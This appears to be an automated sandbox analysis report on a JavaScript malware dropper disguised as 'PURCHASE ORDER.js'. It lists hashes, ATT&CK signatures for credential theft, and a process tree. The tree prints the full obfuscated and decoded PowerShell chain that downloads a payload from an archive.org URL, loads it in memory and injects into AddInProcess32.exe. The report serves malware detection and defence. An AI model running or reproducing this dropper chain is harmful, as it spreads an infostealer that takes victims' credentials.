Analysis

  • max time kernel
    92s
  • max time network
    204s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/09/2024, 14:19

General

  • Target

    PURCHASE ORDER.js

  • Size

    319KB

  • MD5

    e8114157714655fdbc7b51cde4f676de

  • SHA1

    c23a2b3c76b2b7927f64cf74c3cf75b408a629e4

  • SHA256

    d20d1cb56afa7818be3b26074bed7eae73e5480a5a8e0add5384bc9eddbc333d

  • SHA512

    9f33a77504f56f4b0bce859d3b61f81cf3496a00d6cfd3aaef708f700149c72f1fb009f15e720a59b013a443c15b3c68a621358c624138b72f3409db53692c8b

  • SSDEEP

    6144:1m06WlUzat6poIKNrZUG8IyWwmRn+CvA1HPucBzprZa8qYlVLY8/1PcKpOu4:w06WF6poIKN9UGDykRn+gA1HPu4zpNar

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAGIATQBCAHUAcgBsACcAKwAnACAAPQAgAE4AVwAnACsAJwBxAGgAdAB0AHAAcwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBpAGEAJwArACcAOQAnACsAJwAwADQAJwArACcANgAwACcAKwAnADEALgB1AHMALgBhAHIAJwArACcAYwBoAGkAdgBlAC4AbwByAGcAJwArACcALwA2AC8AJwArACcAaQB0ACcAKwAnAGUAbQBzAC8AZABlAHQAYQBoACcAKwAnAC0AbgBvAHQAZQAtAGoALwBEAGUAdABhAGgAJwArACcATgBvAHQAZQBKAC4AdAB4AHQATgBXAHEAOwBiAE0AQgBiACcAKwAnAGEAcwBlADYANABDAG8AbgB0AGUAbgB0ACAAJwArACcAPQAnACsAJwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AJwArACcATgAnACsAJwBlAHQALgAnACsAJwBXAGUAYgBDAGwAaQBlAG4AdAApAC4AJwArACcARABvAHcAbgAnACsAJwBsAG8AYQBkACcAKwAnAFMAJwArACcAdAByAGkAbgBnACgAYgBNAEIAdQByAGwAJwArACcAKQA7AGIATQAnACsAJwBCAGIAJwArACcAaQBuACcAKwAnAGEAcgB5AEMAbwBuAHQAZQBuAHQAIAA9ACAAJwArACcAWwAnACsAJwBTAHkAcwB0AGUAbQAuACcAKwAnAEMAJwArACcAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwAnACsAJwBlACcAKwAnADYANABTACcAKwAnAHQAcgBpAG4AZwAoAGIATQBCAGIAJwArACcAYQBzACcAKwAnAGUANgA0AEMAJwArACcAbwBuAHQAZQBuAHQAKQAnACsAJwA7AGIATQAnACsAJwBCAGEAJwArACcAcwBzAGUAbQBiACcAKwAnAGwAeQAgAD0AIABbAFIAZQBmAGwAZQBjAHQAaQAnACsAJwBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAGIATQBCAGIAaQBuACcAKwAnAGEAcgB5AEMAbwBuAHQAZQBuAHQAKQA7AGIATQAnACsAJwBCAHQAeQBwAGUAIAA9ACAAYgBNAEIAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5ACcAKwAnAHAAJwArACcAZQAoAE4AJwArACcAVwBxAFIAdQAnACsAJwBuAFAARQAuAEgAbwAnACsAJwBtAGUATgBXAHEAKQA7AGIATQBCAG0AZQB0AGgAbwBkACAAPQAgAGIATQBCAHQAeQBwAGUALgAnACsAJwBHAGUAdAAnACsAJwBNACcAKwAnAGUAdABoAG8AZAAoAE4AVwBxAFYAQQBJAE4AVwBxACkAOwBiACcAKwAnAE0AQgAnACsAJwBtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAYgBNAEIAbgB1ACcAKwAnAGwAbAAsACAAWwBvAGIAagAnACsAJwBlACcAKwAnAGMAdABbAF0AXQBAACgATgBXAHEAdAB4AHQAJwArACcALgBhAGYAYQAvAHYAZQBkAC4AJwArACcAMgByAC4AMwA5AGIAMwA0ADUAMwAwADIAYQAwADcANQBiADEAYgAnACsAJwBjADAAJwArACcAZAA0ADUAYgA2ADMAMgBlAGIAOQBlAGUANgAnACsAJwAyAC0AYgB1AHAALwAvADoAcwBwACcAKwAnAHQAdABoAE4AVwBxACcAKwAnACAALAAgAE4AVwBxAGQAZQBzAGEAJwArACcAdABpAHYAJwArACcAYQBkAG8ATgBXAHEAIAAnACsAJwAsACAAJwArACcATgAnACsAJwBXAHEAZABlAHMAYQB0AGkAdgBhAGQAbwBOAFcAcQAgACcAKwAnACwAIABOAFcAcQAnACsAJwBkAGUAcwBhAHQAaQB2AGEAJwArACcAZABvAE4AVwBxACwAJwArACcATgBXAHEAQQAnACsAJwBkAGQAJwArACcASQBuACcAKwAnAFAAcgBvAGMAZQAnACsAJwBzAHMAMwAyAE4AVwBxACwATgAnACsAJwBXAHEAZABlACcAKwAnAHMAYQAnACsAJwB0ACcAKwAnAGkAdgBhACcAKwAnAGQAJwArACcAbwBOAFcAJwArACcAcQApACkAJwArACcAOwAnACkALgBSAEUAUABMAGEAQwBFACgAKABbAGMASABhAFIAXQA5ADgAKwBbAGMASABhAFIAXQA3ADcAKwBbAGMASABhAFIAXQA2ADYAKQAsACcAJAAnACkALgBSAEUAUABMAGEAQwBFACgAKABbAGMASABhAFIAXQA3ADgAKwBbAGMASABhAFIAXQA4ADcAKwBbAGMASABhAFIAXQAxADEAMwApACwAWwBzAHQAUgBJAG4ARwBdAFsAYwBIAGEAUgBdADMAOQApAHwAIAAuACgAIAAkAHAAUwBIAG8AbQBlAFsAMgAxAF0AKwAkAHAAcwBoAE8AbQBlAFsAMwA0AF0AKwAnAFgAJwApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('bMBurl'+' = NW'+'qhttps:'+'/'+'/'+'ia'+'9'+'04'+'60'+'1.us.ar'+'chive.org'+'/6/'+'it'+'ems/detah'+'-note-j/Detah'+'NoteJ.txtNWq;bMBb'+'ase64Content '+'='+' (New-Object System.'+'N'+'et.'+'WebClient).'+'Down'+'load'+'S'+'tring(bMBurl'+');bM'+'Bb'+'in'+'aryContent = '+'['+'System.'+'C'+'onvert]::FromBas'+'e'+'64S'+'tring(bMBb'+'as'+'e64C'+'ontent)'+';bM'+'Ba'+'ssemb'+'ly = [Reflecti'+'on.Assembly]::Load(bMBbin'+'aryContent);bM'+'Btype = bMBassembly.GetTy'+'p'+'e(N'+'WqRu'+'nPE.Ho'+'meNWq);bMBmethod = bMBtype.'+'Get'+'M'+'ethod(NWqVAINWq);b'+'MB'+'method.Invoke(bMBnu'+'ll, [obj'+'e'+'ct[]]@(NWqtxt'+'.afa/ved.'+'2r.39b345302a075b1b'+'c0'+'d45b632eb9ee6'+'2-bup//:sp'+'tthNWq'+' , NWqdesa'+'tiv'+'adoNWq '+', '+'N'+'WqdesativadoNWq '+', NWq'+'desativa'+'doNWq,'+'NWqA'+'dd'+'In'+'Proce'+'ss32NWq,N'+'Wqde'+'sa'+'t'+'iva'+'d'+'oNW'+'q))'+';').REPLaCE(([cHaR]98+[cHaR]77+[cHaR]66),'$').REPLaCE(([cHaR]78+[cHaR]87+[cHaR]113),[stRInG][cHaR]39)| .( $pSHome[21]+$pshOme[34]+'X')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3888
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:3516
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:3476
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1568
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show profile
              6⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4964
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1752
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2944

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    50a8221b93fbd2628ac460dd408a9fc1

    SHA1

    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

    SHA256

    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

    SHA512

    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hriqkbon.dyh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3516-32-0x0000000006290000-0x00000000062F6000-memory.dmp

    Filesize

    408KB

  • memory/3516-33-0x0000000006E40000-0x0000000007002000-memory.dmp

    Filesize

    1.8MB

  • memory/3516-26-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/3516-88-0x00000000083A0000-0x00000000088CC000-memory.dmp

    Filesize

    5.2MB

  • memory/3516-80-0x00000000078C0000-0x0000000007E64000-memory.dmp

    Filesize

    5.6MB

  • memory/3516-23-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/3516-87-0x0000000007310000-0x00000000073A2000-memory.dmp

    Filesize

    584KB

  • memory/3516-31-0x0000000006030000-0x0000000006116000-memory.dmp

    Filesize

    920KB

  • memory/3516-64-0x0000000007290000-0x0000000007306000-memory.dmp

    Filesize

    472KB

  • memory/3516-34-0x0000000006830000-0x0000000006842000-memory.dmp

    Filesize

    72KB

  • memory/3888-22-0x000001F2C4E50000-0x000001F2C505C000-memory.dmp

    Filesize

    2.0MB

  • memory/3912-11-0x00007FFFF8D40000-0x00007FFFF9801000-memory.dmp

    Filesize

    10.8MB

  • memory/3912-0-0x00007FFFF8D43000-0x00007FFFF8D45000-memory.dmp

    Filesize

    8KB

  • memory/3912-30-0x00007FFFF8D40000-0x00007FFFF9801000-memory.dmp

    Filesize

    10.8MB

  • memory/3912-10-0x000001C60C700000-0x000001C60C722000-memory.dmp

    Filesize

    136KB

  • memory/3912-12-0x00007FFFF8D40000-0x00007FFFF9801000-memory.dmp

    Filesize

    10.8MB